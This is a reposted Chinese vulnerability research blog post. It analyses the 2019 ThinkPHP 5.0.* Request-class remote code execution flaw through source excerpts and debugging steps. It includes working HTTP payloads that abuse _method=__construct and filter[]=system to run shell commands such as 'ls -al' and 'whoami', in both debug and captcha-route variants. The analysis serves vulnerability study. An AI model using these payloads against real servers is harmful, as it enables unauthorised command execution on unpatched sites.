php request漏洞利用,漏洞研究|ThinkPHP request函数远程代码执行

原标题:漏洞研究|ThinkPHP request函数远程代码执行

0x01 概述

2019年1月11日爆了一个thinkphp 5.0.*远程rce的漏洞,跟进学习一下。

0x02 漏洞分析

根据ThinkPHP的补丁发现,修复部分在 library/think/Request.php文件中。

abd43c52d3d4c39ba7901dd21a756075.png

漏洞的修复点是 method这个函数,我们可以逆这回去看看,哪里调用了这个函数,相关调用方法出现在 library/think/Request.php:541-603的 isGet、 isPost、 isPut、 isDelete、 isHead、 isPatch、 isOptions中,也就是说实际上这个函数会在判断请求方式的时候进行调用。

46792fb38d0c5adf12f742e5caa7efa7.png

从修复代码来看,漏洞触发点应该是下图中 第8行-第9行这个部分。

62d371e67d0cfe30e9d12fd6d489f398.png

第8行代码有个 var_method常量,这个常量的定义在 application/config.php文件中, var_method对应的值是 _method。

813b85639d59082662acb4b1de111173.png

也就是说,如果我们通过POST方式传入 _method=xxx 的情况下,代码会将xxx转换为大写并赋值给$this->method。然后 第9行调用$this->{$this->method}($_POST),也就是调用$this->XXX($POST),这就说明了攻击者在这个地方首先调用的函数可控,其次传入的数据也可控。

根据已知payload,这里的 _method=___construct,也就是说 ___construct函数也有问题,跟进一下 ___construct函数,函数位置在 library/think/Request.php:135-148中。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

protectedfunction__construct($options = [])

{

foreach($options as$name => $item) {

if(property_exists($this, $name)) {

$this->$name = $item;

}

}

if(is_null($this->filter)) {

$this->filter = Config::get('default_filter');

}

// 保存 php://input

$this->input = file_get_contents('php://input');

}

对传入的 $options数组进行遍历,然后 第4行调用了 property_exists进行判断, property_exists函数的作用是检查对象或类是否具有该属性,也就是说当 $options的键名为该类属性时,则将该类同名的属性赋值为 $options中该键的对应值。这里 第8行代码中针对 $this->filter进行了判断,如果不存在,让其等于 Config::get(‘default_filter’)的结果,而 default_filter定义在 application/config.php:44中,其值默认为空。

6a71aff5d1caaf7cbf71ec74a8731452.png

而filter存放的是全局过滤规则。

1a0442a5261861ac5d413a361d0b4c0b.png

所以核心关键在于 method这个函数在 POST方法下可控,所以这里需要全局搜索一下除了那些http请求类型定义以外,还有哪里调用了这个函数,在 library/think/Request.php:634-661调用了这个函数。

b6c30a130d841c8aa4f358f9623b52fd.png

我们看到如果 $this->mergeParam为空的情况下,调用 $this->method(true),而 true === $method情况下调用的是 server(‘REQUEST_METHOD’)。

1

2

3

if(true=== $method) {

// 获取原始请求类型

return$this->server('REQUEST_METHOD') ?: 'GET';

跟进 server函数,函数实现在 library/think/Request.php:862,这里的 $name实际上就是 REQUEST_METHOD。

1

2

3

4

5

6

7

8

9

10

publicfunctionserver($name = '', $default = null, $filter = '')

{

if(empty($this->server)) {

$this->server = $_SERVER;

}

if(is_array($name)) {

return$this->server = array_merge($this->server, $name);

}

return$this->input($this->server, false=== $name ? false: strtoupper($name), $default, $filter);

}

经过处理之后,最后会调用 $this->input函数进行处理,跟进 input函数,函数位置在 library/think/Request.php:999,这里 第10行代码调用 getFilter函数获取过滤器。

3506ffef1d8010ecf035d26048552c83.png

getFilter函数,这里的 $filter=’’,而 $default=null。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

protectedfunctiongetFilter($filter, $default)

{

if(is_null($filter)) {

$filter = [];

} else{

$filter = $filter ?: $this->filter;

if(is_string($filter) && false=== strpos($filter, '/')) {

$filter = explode(',', $filter);

} else{

$filter = (array) $filter;

}

}

$filter[] = $default;

return$filter;

}

所以这里的代码会运行到 第6行,进行三元运算,也就是说最终 $filter会被赋值给 $this->filter,最后返回 $filter。

紧接着判断$data是否是数组,然后调用 filterValue函数进行处理。

1

2

3

4

5

6

7

8

9

10

11

12

13

if(is_array($data)) {

array_walk_recursive($data, [$this, 'filterValue'], $filter);

reset($data);

} else{

$this->filterValue($data, $name, $filter);

}

if(isset($type) && $data !== $default) {

// 强制类型转换

$this->typeCast($data, $type);

}

return$data;

}

跟进 filterValue函数,在 第7行看到了一个熟悉的函数call_user_func,而 $filter和 $value均可控。

5cf703a2ab89605e4b9f515a14eacd81.png

也就是说最后我们需要找到自动触发调用param()函数的地方即可,而在原生 thinkphp框架下,文件位置在 library/think/App.php:126,也就是说原生框架的情况下,如果开启了debug模式,可以直接命令执行。

32ad4a53a6e88cefcd9ea5d78cdc4f39.png

0x03 动态调试

payload如下所示:

1

2

3

public/index.php?s=captcha

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

在开启 debug状态之后,在 param下一个断点_method=__construct,filter[]=system,

server[REQUEST_METHOD]=whoami。

32ac24382a7db9775c2fb3e7821892a1.png

跟进param函数。

aa30a4a3ec76fb40ba80a6c602beb56c.png

跟进method函数。

8f0cc28fe0deba197f5c5a465a51eafd.png

跟进server函数,这里input的函数输入分别是

1

2

3

4

name=REQUEST_METHOD

default=null

filter=""

this->server=REQUEST_METHOD=whoami

abc28dcb4cb51e23e467b9fe875b7331.png

跟进input函数中getFilter函数,处理结果返回filter数组,其中filter[0]=system。

df47b7b43f71ed97dd4e8fd7c64057c0.png

而 $data就是我们刚刚的 $this->server,对应的值也就是whoami,而 filter[0]=system。

9963d1c381465b6876f566cd257a0132.png

跟进filterValue函数,最后成功运行了。

d764649d95f333801b61fba3d6ef091b.png

0x04 扩展

由于正式系统的情况下,使用debug模式的很少,因此需要找一下不需要debug模式下触发点,而漏洞发现者的思路有点像之前 ThinkPHP远程代码执行那个思路。

payload:

1

2

3

public/index.php?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

直接动态调试吧,漏洞调用链是这样的。

60d2fdd2426ba5e1a6b8ac2a799e63d6.png

先看看 app.php:139位置,其中var_pathino 默认值为s,也就是说我们通过 s参数注册了一个 thinkcaptchaCaptchaController的路由,至于为什么会是这样,可以翻一翻我之前的Thinkphp-5-0远程代码执行漏洞,里面针对路由怎么调用进行了详细的说明。

3392da4d0d37780b9c28aacb04c23ea0.png

而在 vendor/topthink/think-captcha/src/helper.php文件中针对captcha这个功能进行了路由注册,所以才能够调用。

73bf3df32682bbfc4cb19c3db780dbed.png

而这里的返回type为什么是method,需要考究一下。在 app.php:116处的 routeCheck函数处下一个断点,跟进 routeCheck,在 thinkphp/library/think/App.php:643处调用 check函数,跟进 check函数 thinkphp/library/think/Route.php:857调用了 method函数。而 method函数之前我们说过存在变量覆盖的问题,通过覆盖之后使得 $method=get,然后再取出 self::$rules[$method]的值给 $rules。

b56cb0f472138bb453bb210e0d1aad90.png

然后继续往下走 thinkphp/library/think/Route.php:873,此时使得$rules[$item]的值为captcha路由数组,就可以进一步调用到self::parseRule函数。

e10c5d7f7da8d219c373ab33e38d615e.png

跟进一下此时传递进来的 $route的值为 thinkcaptchaCaptchaController@index,经过处理之后 routeCheck函数处理之后 type=method。

1eb0807fb41dd8eceab4e8f59c11ae9f.png

前面我们传入的 type为 method,所以进入到 app:exec()中,会选择 method这个 case进行逻辑处理,而这个 case正好调用了 param这个函数,那么后面的流程自然就和 0x02部分一样了。

5fd81f7528ea49ba4ba9ee5db9261eb1.png

0x05 总结

目前来看,漏洞触发需要两个前置条件,一种情况下如果采用thinkphp原生框架,需要在debug模式下才能够触发。另一种情况是找到一些第三方组件,并且该组件注册了thinkphp的路由,因为这步操作的影响就是改变了上文提到的self::$rules的值,而thinkphp自带的一些第三方组件下,好像也只有captcha这个组件,学习了。

和同事在讨论过程中,发现下面这个poc用来验证比较准确点。

1

2

3

public/index.php?s=captcha

_method=__construct&method=get&filter[]=var_dump&server[REQUEST_METHOD]=this_is_a_testReference

ThinkPHP5 核心类 Request 远程代码漏洞分析返回搜狐,查看更多

责任编辑:

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值